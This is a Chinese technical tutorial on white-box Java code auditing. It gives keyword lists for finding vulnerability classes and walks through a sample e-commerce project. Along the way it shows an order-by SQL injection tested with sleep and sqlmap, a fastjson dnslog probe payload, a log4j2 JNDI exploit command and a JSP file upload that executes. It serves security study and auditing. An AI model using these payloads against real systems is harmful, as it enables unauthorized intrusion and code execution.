代码审计之路之白盒挖掘机 | 技术精选0143
2022-8-31 18:35:58 Author: mp.weixin.qq.com(查看原文) 阅读量:9 收藏

Java审计其实和Php审计的思路一样,唯一不同的可能是复杂的框架和代码。
1.正向跟踪
从数据层查找变量,一级一级调用,最后到控制器,这种相对简单、快速。
2.逆向思维,追踪变量,对象调用
查找变量,有没有传参数,是谁调用了这个变量,又是谁调用了这个方法,先从控制器找变量,然后逆着找方法,调用关系,最后到DAO层数据。这种方法一般比较浪费时间,跟踪到最后可能发现变量不可控。
3.直接挖掘漏洞点
比如搭建后,访问平台,发现有上传的功能,直接去控制器找上传相关代码,进行审计。
4.通读全文代码
这是最纯粹、最直接的方式。但是可能会遇到一个问题——看不懂代码。
怎么解决?这个我也不知道,我也看不懂......
1
关键字定位
SQL注入
大多数JavaEE网站,用的相对多的是SpringMVC架构,那么用到的Mybatis框架就会比较多,所以搜索SQL关键字就是"${}"优先,其次是以下的关键字。
如果是SpringBoot ,可能会使用注解等方式,如:
@query(selectid from user where name = ?);
以上语句写了"?",则代表是预编译语句,就不会产生注入,如果写的是变量,就可能产生注入了。 
${}selectinsertupdateinlikeobderbystatement
文件上传

在文件上传功能中,先看框架——比如Spring框架,默认不会解析jsp文件。然后看代码有没有定义黑名单数组等等。
org.apache.comons.fileuploadfilexxxstreamRequestMethodMultipartHttpServletRequest

xss

getParamter<%=paramel表达式

目录遍历

pathSystem.GetProperty("yser.dir")fileInputStreamfile.readfilePath

xml注入类似xxe

DocumentBuilderXMLStreamReaderSAXBuilderSAXParserSAXReader XMLReaderSAXSourceTransformerFactorySAXTransformerFactorySchemaFactory

命令执行

ProcessBuilderstartRuntimegetRuntimeexec

序列化

readObjectreadUnsharedXMLDecoder.readObjectYaml.loadXStream.fromXMLObjectMapper.readValueJSON.parseObject

任意文件删除

delete
逻辑漏洞没什么关键字,可以去看User控制器,或者看过滤器,寻找有无校验。
2
MVC模式讲解
MVC模式是一种软件框架模式,被广泛应用在JavaEE项目的开发中。
MVC即模型(Model)、视图(View)、控制器(Controller)。
模型(Model)
模型是用于处理数据逻辑的部分。
所谓数据逻辑,也就是数据的映射以及对数据的增删改查,Bean、DAO(dataaccess object,数据访问对象)等都属于模型部分。
视图(View)
视图负责数据与其它信息的显示,也就是给用户看到的页面。
HTML、JSP等页面都可以作为视图。
控制器(controller)
控制器是模型与视图之间的桥梁,控制着数据与用户的交互。
控制器通常负责从视图读取数据,处理用户输入,并向模型发送数据,也可以从模型中读取数据,再发送给视图,由视图显示。
首先要了解项目整体结构。大致了解作者编写逻辑,搞清请求流程。
src/main下面有两个目录,分别是java和resources,java目录中主要存放的是java代码,resources目录中主要存放的是资源文件,比如:html、js、css等。
在Java目录下还有其他一些常见目录,具体含义整理如下:
/java目录下
annotation:放置项目自定义注解;
controller/: 存放控制器,接收从前端传来的参数,对访问控制进行转发、各类基本参数校验或者不复用的业务简单处理等;
dao/: 数据访问层,与数据库进行交互,负责数据库操作,在Mybaits框架中存放自定义的Mapper接口;
entity/: 存放实体类;
interceptor/: 拦截器;
service/:存放服务类,负责业务模块逻辑处理。Service层中有两种类,一是Service,用来声明接口;二是ServiceImpl,作为实现类实现接口中的方法;
utils/: 存放工具类;
dto/: 存放数据传输对象(DataTransfer Object),如请求参数和返回结果;
vo/: 视图对象(ViewObject)用于封装客户端请求的数据,防止部分数据泄漏,保证数据安全
constant/: 存放常量;
filter/: 存放过滤器。
/resources目录下
mapper/:存放Mybaits的mapper.xml文件;
static/:存放静态资源文件目录(Javascript、CSS、图片等),在这个目录中的所有文件可以被直接访问;
templates/: 存放模版文件;
application.properties或application.yml:Spring Boot:默认配置文件。
代码跟踪流程
用户请求URL发送到服务器,服务器解析请求后发送到后端代码处理请求。
在后端代码处,首先经过Filter(过滤器)和Interceptor(拦截器),然后根据请求的URL映射到绑定的Controller,之后调用Service接口类,然后再调用serviceImpl接口实现类,最后调用DAO。
controller:负责简单的逻辑处理和参数校验功能,之后调用Service;
service:接口类,主要负责业务模块逻辑处理;
serviceImpl:接口实现类,实现类实现service接口中的方法;
DAO:如果service涉及数据库操作就会调用DAO。DAO主要处理数据库操作。DAO只做中间传递角色,

环境搭建

以某项目为例。
配置maven环境,更改中文镜像:
选择pom.xml重载项目 会自动加载依赖:
找到配置文件更改端口,数据库信息等,找到sqls文件夹,创建数据库导入数据即可:
等pom.xml页面没有爆红,并且自己显示了绿色按钮就可以开启环境了:
启动项目:
3
漏洞挖掘

SQL注入P1

因为用了mybatis框架,所以先搜索看看有没有使用不安全的符号进行传参:
总共发现了五个,选择第一个开始审计:
参数点在88行,向上寻找调用语句:
上面图片中,88为变量所在行数,向上寻找select参数,发现是在55行,点击箭头,即可跳转到对应的接口类。
继续寻找,点击方法:
先在漏洞点打上断点,标记下:
然后找方法:
RequestMapping 是映射的路径,浏览器访问试试:
找到对应的页面:
注意这些字段,orderby是通过web传参,isdesc默认是true:
然后orderutil默认null,判断orderby是否为空,不为空则执行打印,然后吧数据带入到orderutil,再然后带入断点的地方:
查看此方法,没有做过滤:
Web抓包进行测试,默认是空的,加上sleep(4),延迟有点高:
sqlmap验证:
SQL注入P2
经过上面的流程,我们大致知道审计步骤了,那再尝试一个:
可以发现 和刚才的一样:
剩下的也是同样的思路。
fastjson反序列化
搜索关键字:
又回到了刚才的代码:
上方的注释告诉我们,这是在产品添加功能。
把鼠标放到数据里,会显示原数据格式,是json没错了:
dnslog探测:
{"@type":"java.net.Inet4Address","val":"bb1e2x.dnslog.cn"}url编码%7B%22%40%74%79%70%65%22%3A%22%6A%61%76%61%2E%6E%65%74%2E%49%6E%65%74%34%41%64%64%72%65%73%73%22%2C%22%76%61%6C%22%3A%22%62%62%31%65%32%78%2E%64%6E%73%6C%6F%67%2E%63%6E%22%7D
log4j2远程代码执行
搜索关键字info、error、logger等,找变量拼接:
获取的是个整数不是字符串,这个就不能被控制。接着找。找了一圈,终于找到有字符串的了:
来到上传头像的地方,抓包:
获取了数据but dnslog,没数据看了下jdk,原来版本太高了,换一下版本,发现仍然不行。尝试弹计算器,结果成功:
java-jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open/System/Applications/Calculator.app" -A "172.16.183.129"
任意文件上传
同上,就是头像上传功能:
获取文件名,然后去掉多余的“.”。名字是随机的uuid,拼接路径,然后上传,没有做过滤。
上传一个jsp试试:
/tmall/res/images/item/userProfilePicture/e4b3a476-a492-446b-b033-e54f4b152c7c.jsp
发现jsp被执行了,为什么?因为在pom添加了解析库,大多数项目是不会添加的:
反射xss
牢记四字:见框就插。
4
总结
有任何问题,可以在评论区留言,我们共同探讨,共同进步!

文章来源: https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247502035&idx=1&sn=d0e4a7a1a5593de78fa6f4e416c3f5bf&chksm=9b3aee62ac4d6774f214c36372c5af7e5418840a7dbd5082eff9ee300e2fd2cf5df19dbd829e#rd
如有侵权请联系:admin#unsafe.sh